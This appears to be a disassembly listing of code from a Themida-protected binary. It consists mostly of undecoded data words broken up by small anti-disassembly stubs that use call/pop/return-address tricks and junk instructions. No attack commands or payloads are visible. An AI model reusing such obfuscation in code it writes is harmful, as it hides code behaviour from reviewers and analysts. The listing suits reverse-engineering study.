		dd 64061404h, 35FFh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 60179FC3h, 258964h, 1000000h
		dd 142BA1BDh, 0ED85FF06h, 6A06142Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0A56BC356h
		dd 0BB0F671Bh, 60065DADh, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 13734BC3h, 6E9h, 0EC63E000h
		dd 0FF448180h, 1404B1B5h, 88F0F06h, 57000000h, 9A98D89h
		dd 35B0614h, 141BB19Dh,	8995FF06h, 0E906142Ah, 0F3h, 16E98D31h
		dd 0B00614h, 0BF99589h,	70E60614h, 2DE7EB81h, 71E44317h
		dd 830F613Ch, 0D3h, 29C8B60Fh, 1408D5B5h, 6BA06h, 0C18B0000h
		dd 4519D33h, 0E8C10614h, 0E4BB6604h, 0BE8AEh, 0C1030000h
		dd 0AFC6F8Dh, 2129C9C2h, 5BF98A35h, 0E8E2F766h,	14h, 4EC3A787h
		dd 80261435h, 1F83157Bh, 76401CB3h, 22838245h, 20A59D0Bh
		dd 2B5B0614h, 85BD0BC8h, 8B061410h, 6D8589D1h, 0E906142Dh
		dd 6Bh,	492E16BBh, 4858B3Dh, 89000000h,	141E118Dh, 7C08306h
		dd 0E129BB66h, 8B00C083h, 142C7DBDh, 0FD03B06h,	1A83h
		dd 8E900h, 98C20000h, 0C366151h, 30E96B1Ch, 56000000h
		dd 19ED9529h, 8B5F0614h, 0FFFFFF8Dh, 1E183FFh, 19840Fh
		dd 0A5830000h, 0FFFFFFFFh, 0FBB70FFEh, 49589h, 0BB660000h
		dd 0E9DC7Eh, 8D000000h,	1856E2B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0D50C45A0h
		dd 4D9E8818h, 6850Fh, 880F0000h, 0
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	edi
		call	sub_5CC319
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC319	proc near		; CODE XREF: Themida_:005CC311p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5CC319	endp

; ---------------------------------------------------------------------------
		or	bl, [edx+60B25519h]
		fld	tbyte ptr [esi+29h]
		call	dword ptr [ebp+6142971h]
		push	0
		push	edi
		call	sub_5CC343
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CC343	proc near		; CODE XREF: Themida_:005CC33Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5CC343	endp

; ---------------------------------------------------------------------------
		db 81h
		dd 89E38023h, 0E8DEB70Fh, 0Ch, 0EA2990CEh, 0C8264CA7h
		dd 7AFED267h, 0FE8h, 0DD347D00h, 4B1EFCC3h, 0B2234DD5h
		dd 32717F0Eh, 94DBD89h,	5F5B0614h, 1006B9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0F2E6B329h, 39C56DFBh, 12899D89h, 0E1830614h, 0F8BF0FFCh
		dd 65BD8Bh, 6AFC0614h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0D5E3C357h,	248DBD89h
		dd 0B80614h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 315CC356h, 0BFADC689h
		dd 50EA84A8h, 0BAh, 0F88B6600h,	0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 4FADBF66h, 880Dh, 1B870F00h, 0E8000000h
		dd 13h,	3B436903h, 0C15ACAE6h, 2582DF06h, 0EC8021DAh, 0B77A2C2Fh
		dd 958B5B3Bh, 6142B69h,	10558D8Bh, 0BD8B0614h, 614064Dh
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	0BF0F5818h
		dd 0C1BF66D9h, 4DBD83C5h, 6140Fh, 6A840Fh, 9E90000h, 99000000h
		dd 2BB05BE9h, 8D6CD09Ah, 0B8h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 66DA318Fh
		dd 8B4BC381h, 4DFF8D8Dh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0F1680DC3h, 5F0ED217h
		dd 399D014Ch, 0FF06141Ah, 0DE8B66E1h, 13DBD83h,	0F000614h
		dd 46A84h, 3DBD8300h, 1061401h,	478840Fh, 0FC600000h, 61D98B66h
		dd 0EE9h, 0DA817E00h, 240BD605h, 5A0C74B5h, 83E7C6F3h
		dd 14013DBDh, 860F0306h, 41Ch, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 4FC35343h, 7F8448F6h, 0C913BB66h
		dd 0FA8B6660h, 6AD98C66h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0C4B1C352h,	66B2CE69h
		dd 0E180DA8Bh, 57006A04h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0BA29160h, 9FF202F0h
		dd 41BD3179h, 0F06140Ch, 1F80h,	13E800h, 287E0000h, 4961BA91h
		dd 1024C83Dh, 0BF0755FCh, 0BBF471E9h, 75B589B6h, 5B06140Eh
		dd 840FC90Ah, 14Ch, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0CDC35646h, 0B47ABB66h, 0E35858Bh, 6A0614h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8BAAF2C3h, 1404EDBDh, 0A9853306h, 6A061406h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 8B97C356h, 0B5893524h, 61424F9h, 8B525090h, 66310FDFh
		dd 5A383CBBh, 0BF665058h, 8B901274h, 143109BDh,	6A006A06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 3B2BC350h, 0BEE73D4Eh, 43840C5Eh,	9248DD68h
		dd 50605646h, 5A310F52h, 61585658h, 2434815Fh, 468D4B22h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 9BC35040h
		dd 0F6B8A5B6h, 6F2FC5B3h, 8B66DE8Ah, 9D95FFDFh,	6A061408h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0B687C356h, 0E073CAE9h, 9D8B60A5h, 61410C1h
		dd 5810Fh, 6AB90000h, 61061E8Fh, 6800Fh, 0BD310000h, 61434EDh
		dd 0A7EA8589h, 0BB660617h, 0BEE91A68h, 0F8000001h, 0A7E2858Bh
		dd 85890617h, 6140F39h,	1800C7h, 95890000h, 6140BFDh, 0A7E6B58Bh
		dd 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0A7E527C3h, 858B34F1h, 6140281h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 93C35646h, 9D607C6h
		dd 1431A195h, 689F906h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0BCC35242h, 0AD4BB669h, 2B79E2AEh, 2B3FBB5Dh
		dd 858B4A60h, 6140E35h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 5C35242h, 0E99D2B65h,	8906141Ch, 8D890446h
		dd 6143165h, 0A296BB96h, 0E9501414h, 13h, 5BC109A4h, 20444428h
		dd 0C6092352h, 0F2D1492Dh, 9604834Ch, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 98C35040h, 58EE4AF8h, 0E8A239D2h
		dd 5, 50178F5Ah, 6D9D8BF0h, 5B061409h, 0A7E2B5FFh, 85890617h
		dd 6140529h, 31275768h,	0B5BF66FAh, 240481ABh, 5EDDCA8h
		dd 8E9h, 87849000h, 623F18E2h, 0EA858D91h, 6A0617A7h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0A572C353h, 823AC63Ch, 0BB66C932h, 0F907193h, 58Dh
		dd 8B665000h, 8B505FDEh, 0D38090FAh, 9D95FF41h,	6A061408h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0F4C6C350h, 0FBAE64D6h, 0F035939h, 88Fh
		dd 0E1816000h, 76ABB997h, 0F536161h, 81h, 85C75F00h, 614013Dh
		dd 3, 2E59D8Bh,	0BD830614h, 617A7EAh, 45840F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 53F3C352h, 3CE90DB7h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 6DC7C356h, 0FC0E4619h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 82CC353h, 1B018589h
		dd 0BD8B0614h, 614124Dh, 2FB98D09h, 0BD830614h,	614013Dh
		dd 0B1850F03h, 89000003h, 140CB5B5h, 0EABD8306h, 617A7h
		dd 39E840Fh, 0FFFC0000h, 17A7EAB5h, 29858906h, 0FF061412h
		dd 14033995h, 29958906h, 8B06142Fh, 17A7DEB5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 71BD8B51h, 0C7061413h, 1000106h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0B70FD0A9h
		dd 0AE850DFh, 0BB000000h, 34D295C1h, 6C13D118h,	81BF6686h
		dd 34895B6Fh, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 241D61C6h, 0C25EDC97h, 0BD897ED5h
		dd 614238Dh, 0A7EAB5FFh, 8B660617h, 8195FFDAh, 0B3061410h
		dd 0EDB58973h, 8B06141Ah, 17A7DEB5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 424814C7h
		dd 0BF66DEC1h, 858BE1BBh, 6140FF9h, 9E9B589h, 86890614h
		dd 0C4h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	3BC35747h, 0F91C1A4Ch, 8D78534Eh, 0FABF0FA0h, 2B99BD8Bh
		dd 958B0614h, 6142B69h,	83D88B66h, 335704C2h, 140795BDh
		dd 50895F06h, 55006A20h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 21C370B4h, 9D8BC70Fh
		dd 6141B35h, 0A3C1BF66h, 0BC23858Dh, 860F0617h,	10h, 8E8h
		dd 0AB8EA800h, 42E6437Eh, 5B6160BFh, 68B0Fh, 0B5890000h
		dd 614231Dh, 0B88689h, 0BD8B0000h, 6140479h, 0C3816657h
		dd 6A5B8611h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 0EAB5FFBBh, 8B0617A7h, 141AE19Dh
		dd 0DBD8B06h, 0FF061423h, 1433AD95h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 9D297AC9h
		dd 614001Dh, 0FE8B6696h, 29BF6650h, 6A9639h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0DFB996C3h
		dd 29BE4C9Fh, 141639BDh, 0EAB5FF06h, 890617A7h,	140321B5h
		dd 995FF06h, 80061423h,	0BD8300DFh, 6141189h, 6C840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0A8D9C357h, 893980F4h,	140CFD85h
		dd 850F5006h, 15h, 7E860h, 0EC2A0000h, 0B96D6719h, 880F5804h
		dd 0
; ---------------------------------------------------------------------------
		popa
		mov	[esp], esi
		push	0
		push	ecx
		call	sub_5CCC93
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCC93	proc near		; CODE XREF: Themida_:005CCC8Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5CCC93	endp

; ---------------------------------------------------------------------------
		or	eax, 0C0BAB666h
		db	36h
		sub	[ebp+6140C19h],	eax
		push	dword ptr [ebp+617A7EAh]
		push	0
		push	edi
		call	sub_5CCCC0
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CCCC0	proc near		; CODE XREF: Themida_:005CCCB8p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5CCCC0	endp

; ---------------------------------------------------------------------------
		dd 0B1487981h, 88F2D5EEh, 94C78166h, 0D595FF8Fh, 1061402h
		dd 142B658Dh, 5E96006h,	0A8000000h, 553DC445h, 0FF61CA8Bh
		dd 17A7EAB5h, 25958906h, 0FF061404h, 140B7595h,	48C0F06h
		dd 66000000h, 8B7BC1BFh, 140B95BDh, 2DBD8306h, 2061411h
		dd 23840Fh, 0B5290000h,	61404FDh, 55858Bh, 2B510614h, 14190D9Dh
		dd 8D895F06h, 61417C1h,	810000C6h, 42B1AED7h, 4985C759h
		dd 6141Eh, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 1F41C356h, 0FE8A1h, 0B6C10000h
		dd 63C9AC73h, 0BB864767h, 29C3B808h, 66CF816Bh,	5F7563FAh
		dd 0FFF403E9h, 53006AFFh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 17F67467h, 0BBB43181h
		dd 12B687D1h, 28D0F51h,	8B000000h, 0C18B5BF9h, 86DA40BFh
		dd 41BD8B57h, 0E9061425h, 1Eh, 62C1F9F3h, 6 dup(0)
		dd 3AE90000h, 3C000005h, 128D910Ch, 0EF78BCF1h,	0FA65A9E4h
		dd 0D24DD1CCh, 0B13AFEB3h, 6518379Fh, 8C0906A1h, 0B8F31F88h
		dd 0A2D9EB74h, 6FC8335Eh, 55E860DCh, 3A413C57h,	9983910Ch
		dd 6366567h, 9DAC4A79h,	486CE8E0h, 72295BC4h, 7A03055Ah
		dd 0E8F46741h, 7D8DB16Ah, 3557E1E2h, 6E2A2246h,	0F645E25Dh
		dd 0D53F087h, 12501709h, 2B0BF005h, 0DCEB02E9h,	5C2FF3AAh
		dd 6483FE0Dh, 0B81C2C69h, 0EEA9A57Ah, 0D75887DDh, 66B0A77Dh
		dd 4F7BE4ACh, 2E5B2454h, 0CDC04777h, 0E41491BEh, 0A6CD9260h
		dd 39C26B67h, 2082CF4h,	783556D1h, 0ADBBD054h, 9D29B600h
		dd 11CE4411h, 2D8CBCEFh, 53F0E811h, 282A412Eh, 85950702h
		dd 6B9Ch, 188B1800h, 0E0415148h, 17569A8Dh, 53F0D324h
		dd 8259DBBFh, 0BCFD0D80h, 53F0D383h, 0BAB8DFB0h, 8594CD74h
		dd 102h, 0FD8BAE00h, 6EADD18Ch,	24FB39ADh, 0D526A23h, 0F68981FCh
		dd 0D2ADDDD8h, 0BDC2FAB7h, 31E71792h, 77B06B82h, 53F0E1C4h
		dd 73D7FB5Fh, 2D5E6D84h, 4FE85B70h, 53F0E1FCh, 80F4B1DCh
		dd 25C276BCh, 6EA46823h, 5356867h, 2454497Ah, 1F2E45F2h
		dd 0EE79BDF0h, 732E5ADCh, 0A3DBFF5Bh, 0C7F4B1DCh, 1E1489B8h
		dd 0BD2813AEh, 0F092C170h, 0A9980553h, 2A53F092h, 0DDEE5226h
		dd 0F092E150h, 141E6253h, 1CD22077h, 9A85948Bh,	5Eh, 4952D9AFh
		dd 49761A07h, 686741CBh, 4F7A0535h, 0BCD115A0h,	1236A8D5h
		dd 9AF15EFAh, 2ACCF887h, 0EE6A621Fh, 749348CAh,	5B6AF539h
		dd 3B491626h, 6AF54840h, 0A39F703h, 3FA58595h, 73000000h
		dd 5356867h, 3B534E7Ah,	3E4D1C0Fh, 833D4B43h, 95AE28FEh
		dd 3AC15377h, 1895B4D3h, 6667DE14h, 0A4A60737h,	9953F092h
		dd 8D539FF6h, 2985948Ch, 0Ah, 6D07263Eh, 4D1D942Eh, 6C675DC7h
		dd 924AF926h, 45C953F0h, 34562921h, 17C64179h, 0CBC6C100h
		dd 0C3D3A0B0h, 32E855F6h, 0B15030E0h, 0F507DC39h, 87AB22F0h
		dd 0AD9C1974h, 2653F0DFh, 64D7D022h, 0A4B715ECh, 0B09FBD0h
		dd 0DCC24C8Ah, 0AAA1A549h, 28FEB5D3h, 5C5CC2F5h, 0A7070D63h
		dd 0C4F7A6D8h, 187DCC69h, 0BC5455E4h, 0F7D18FD6h, 4AC84C00h
		dd 5C6EFD8Eh, 0A3CD321h, 0CEE87893h, 0E6B2E5C6h, 4B091C97h
		dd 0DECA1FD5h, 27310C48h, 44CE1B17h, 0D0043978h, 0C00F55E4h
		dd 35689AA9h, 595476F1h, 72295B22h, 0D06DDC59h,	62E655E4h
		dd 394B1490h, 0A39C4A42h, 0C5F5B0DCh, 0EEABA641h, 0FD304724h
		dd 1727626Eh, 98AA61B3h, 136A21E5h, 819249F2h, 0EF9438A7h
		dd 0DD57B3CBh, 0A987EF3Dh, 1578F8Bh, 80250000h,	47E01B61h
		dd 49DC90C7h, 0B7245438h, 9068DB44h, 454055E4h,	0E0D43048h
		dd 0C7F9969Ch, 0B5D750D4h, 645B6C6h, 187C8C09h,	29AA8A06h
		dd 0A66C67B5h, 94A4D7E9h, 8FBED562h, 0D8D3F57Dh, 0FC0024A0h
		dd 0A9188A50h, 69148Bh,	80800000h, 43EC1F65h, 0D3F09290h
		dd 7F3A5514h, 3949CB4Fh, 0B5842555h, 62D3F092h,	759096FDh
		dd 0F5BB44FDh, 3155AD82h, 0F33CAF1Ah, 0D3F01040h, 6C205D68h
		dd 0DDEAFE1Ah, 82CF37Dh, 0BD88B0Ah, 371B53F0h, 58054C04h
		dd 7BDB2214h, 0FB82F9B9h, 0E958C5C9h, 6A53F023h, 4ECAC2E6h
		dd 2341F03Dh, 7EC253F0h, 0A3AAB4h, 80C00000h, 47E01B61h
		dd 49DC6A83h, 64FB1074h, 0AC1F2F66h, 0E49A3003h, 0ABCFB355h
		dd 25D69h, 0E1EF7E8Dh, 3FA868AAh, 0CF6E9E0Dh, 55E49B71h
		dd 996017Ah, 55E49B3Ah,	0B05FD5B9h, 65182A59h, 7400E1A1h
		dd 900D3847h, 95161C78h, 0CD890D08h, 2D5A214Fh,	0C246A270h
		dd 62D15EC9h, 0A65FDC69h, 0DC69CA79h, 0F1C5495Fh, 5827878Dh
		dd 8A548526h, 40989975h, 32532C5Ch, 0D3C437Bh, 7FE07890h
		dd 0EED1218h, 133534E7h, 770C8698h, 0ABDEFCA7h,	0C0B45569h
		dd 65EB6ACBh, 384745F5h, 1C78900Dh, 0AA6ED216h,	1B618068h
		dd 80C047E0h, 403B49D9h, 0E86054E7h, 4A434455h,	0A7DAE976h
		dd 0EB0F3397h, 57889D0h, 238391F5h, 0AF732A5Ch,	6F9F0E30h
		dd 819E5CCEh, 920F3EEEh, 0ACE7E57Ah, 0C62D6A9Ch, 0D83F987Ch
		dd 0F01F97A9h, 0E5098DBDh, 0F7136A21h, 0A088CBCh, 40783355h
		dd 27B8CD3h, 0D7848E0Ah, 4DCAC2B9h, 467887EEh, 3254D357h
		dd 371437Bh, 0FF000000h, 6767A68Ch, 497B0434h, 29253A52h
		dd 4015E6Eh, 0DFEE7189h, 0B6D5AAA2h, 8EBCC3FBh,	6D98E717h
		dd 46471830h, 681F2757h, 6DA8h,	68243489h, 2A22h, 57240C89h
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	5B682434h, 8B0618F2h
		dd 0C483240Ch, 348B5404h, 4C48124h, 51000000h, 95243481h
		dd 8F2B8F46h, 0B8500846h, 0C9B43D8h, 922DD0F7h,	31C7D575h
		dd 8B580846h, 89512434h, 4C181E1h, 83000000h, 0C8704C1h
		dd 34FF5C24h, 0C4815924h, 4, 0FB8953E9h, 2FF445FFh, 863B23E4h
		dd 0F717B857h, 0C5030618h, 2AFE0FFh, 8B6D0DD9h,	51317C17h
		dd 84A82CE4h, 0AD9C29EEh, 0DB562598h, 364D7198h, 0A6A67B75h
		dd 365D016Dh, 8CBC0092h, 0E4096E09h, 1DA90BFAh,	26B23B77h
		dd 858D23D0h, 6140791h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0D4C35141h, 0AC4BC82h, 0EF3B6A1Ah, 9BD8529h
		dd 0F900614h, 158Eh, 0CE800h, 5BBB0000h, 2C0868Ah, 0F9D11EA2h
		dd 8B66C2A9h, 50505FF9h, 10E952h, 1C170000h, 0C31FD384h
		dd 500F906h, 8F4E7DC4h,	310F83BBh, 0E990585Ah, 10h, 5267489Fh
		dd 6448D630h, 0F28EB1E8h, 66414DD3h, 0DB80006Ah, 6A006A2Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0D579C357h, 402EA8A3h, 0FB9BE48h,	280h, 8DCFB700h
		dd 18FA1085h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0EFBBBB27h, 81F7C5CBh, 372AC5DBh
		dd 5C0833Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0EEC35343h, 0CE803399h,	0FEB3EABh, 688h, 0BA666000h
		dd 506175DFh, 2830Fh, 5F520000h, 89240489h, 1411F58Dh
		dd 0F8006A06h, 6A006Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 897329C3h, 8BB02FC0h, 141CE99Dh
		dd 1995FF06h, 6A06141Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0F36CC356h,	65676130h
		dd 0A9B58936h, 8D061419h, 17A7788Dh, 8B66FC06h,	8BD1FFFEh
		dd 0CDBD83D8h, 1061401h, 0A6850Fh, 26A0000h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0EAC35646h, 0E8E12989h
		dd 0DE8B66C4h, 1C6D9D8Bh, 0E8900614h, 0Ah, 0ADF0FC3Dh
		dd 0CC8E03B5h, 52501909h, 310F5250h, 310F585Ah,	0C72599BBh
		dd 5F585A2Fh, 4C14BB50h, 6A907850h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 644DC352h
		dd 51F3BB9Fh, 59BD01CAh, 0FF06140Ch, 1433AD95h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 14893FC5h, 1C2D6B5Ah, 0CE0E9h, 0E800h, 815D0000h, 18FA1AEDh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 15D3DFCh, 0D72894EDh, 0DABF0F29h, 8E49858Dh
		dd 8BF90617h, 2BBB50DEh
		dd 894A56F1h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 15EBE4C3h, 35FF6433h, 0
; ---------------------------------------------------------------------------
		cmc
		mov	large fs:0, esp
		jmp	loc_5CD631
; ---------------------------------------------------------------------------
		retf	0AE45h
; ---------------------------------------------------------------------------
		or	ch, [edi+eax*2]
		mov	ch, 35h


loc_5CD631:				; CODE XREF: Themida_:005CD624j
		inc	dword ptr [ebp+6142DEDh]
		and	bx, 3EEBh
		push	0FFFFFFFFh
		push	0
		push	esi
		call	sub_5CD649
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD649	proc near		; CODE XREF: Themida_:005CD641p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5CD649	endp

; ---------------------------------------------------------------------------
		mov	esi, ecx
		push	eax
		retf	7184h
; ---------------------------------------------------------------------------
		or	[ecx+ecx*8], esi
		mov	[ebp+6140D89h],	eax
		push	dword ptr [ebp+6142501h]
		mov	[ebp+614252Dh],	edi
		sub	[ebp+6141F35h],	eax
		call	dword ptr [ebp+6142A89h]
		jmp	loc_5CD784
; ---------------------------------------------------------------------------
		db 8Bh,	9Dh, 0B5h
		dd 0B006140Ch, 9D89F900h, 6140E21h, 816670E6h, 0E435F6DBh
		dd 0CABB6671h, 0F613CDEh, 0DB83h, 13E900h, 0E0910000h
		dd 91AC393h, 636BD0AFh,	0B7027F49h, 42B903EEh, 0C8B60F88h
		dd 6860Fh, 9D8B0000h, 6141B71h,	6BAh, 0D7816600h, 0C18BD2B1h
		dd 1CD19589h, 0E8C10614h, 0D9B58904h, 66061424h, 53BBE2F7h
		dd 2B5A7C5Fh, 8B22B3C8h, 86E9D1h, 0DE90000h, 45000000h
		dd 3C9C6EA4h, 75F9D56Fh, 0A656974Eh, 4C44858Bh,	0BD8B5F4Ch
		dd 61430F1h, 6607C083h,	3EEEF781h, 8A00C083h, 0FD03BDEh
		dd 1083h, 0F5DE8B00h, 4BE9h, 85016000h,	6140E11h, 0FF8D8B61h
		dd 0E9FFFFFFh, 0Dh, 0EECB6229h,	5806F0CFh, 2B6AEAFAh, 1E183F4h
		dd 22840Fh, 0BB660000h,	816687F7h, 83C1E0C3h, 0FFFFFFA5h
		dd 9D29FEFFh, 6141CC1h,	4C449589h, 0E9F95F4Ch, 0
; ---------------------------------------------------------------------------


loc_5CD784:				; CODE XREF: Themida_:005CD680j
		lea	esi, [ebp+61866E8h]
		mov	bx, 1CBEh
		push	0
		push	0
		push	edx
		call	sub_5CD79B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD79B	proc near		; CODE XREF: Themida_:005CD793p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5CD79B	endp

; ---------------------------------------------------------------------------
		db 45h
		dd 0B15967D5h, 0FBBE7A2Dh, 498D89A9h, 0FF061426h, 14297195h
		dd 11E806h, 4DC30000h, 64DE0831h, 89344936h, 0D7130203h
		dd 0FF0C5EAh, 48Bh, 0C0BB6600h,	0BD8B5F72h, 61401FDh, 1017B9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 23B1979Fh, 29B4C4F6h, 14295DBDh,	835F5306h
		dd 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 8D01EBC3h, 614231Dh, 0FCF8BF0Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 76C35141h, 3406D4DAh
		dd 160B98ACh, 9DBD8B0Bh, 2B061415h, 51006AC0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 4FDD0846h
		dd 19E1B531h, 0B70F0614h, 6AD22BD8h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0AD55C356h
		dd 0E8D1C233h, 0E983D003h, 0FF47504h, 389h, 0FB8B6600h
		dd 6820Fh, 85290000h, 61410E5h,	880Dh, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 81FE9B38h, 69958B5Ah, 6A06142Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0B055C351h
		dd 9F121C45h, 0F9B07959h, 558D8BF5h, 89061410h,	142E459Dh
		dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6658188Bh
		dd 2D1FCB81h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	48C35747h, 5AF950D6h, 0BD83EF9Eh, 6140F4Dh, 79840F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0F21EC356h, 5E8F2BC3h,	0B8h, 0DBD8B00h
		dd 8D061425h, 144DFF8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 7FBD0C2Dh, 25A11716h
		dd 0BD8B2967h, 6142ACDh, 5160E1FFh, 0CE9h, 29322200h, 9534B5E4h
		dd 0C7198CD7h, 0CCB85E86h, 614C6A15h, 13DBD83h,	0F000614h
		dd 41E84h, 12E800h, 9E3C0000h, 711324D9h, 6DDC97Eh, 2F46E8E3h
		dd 8FB77926h, 35DBD89h,	835B0614h, 14013DBDh, 840F0106h
		dd 40Eh, 0AD8529h, 0BD830614h, 614013Dh, 0C5860F03h, 0F000003h
		dd 6A60F8B7h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 926BC353h, 6AD98C66h, 3E85600h
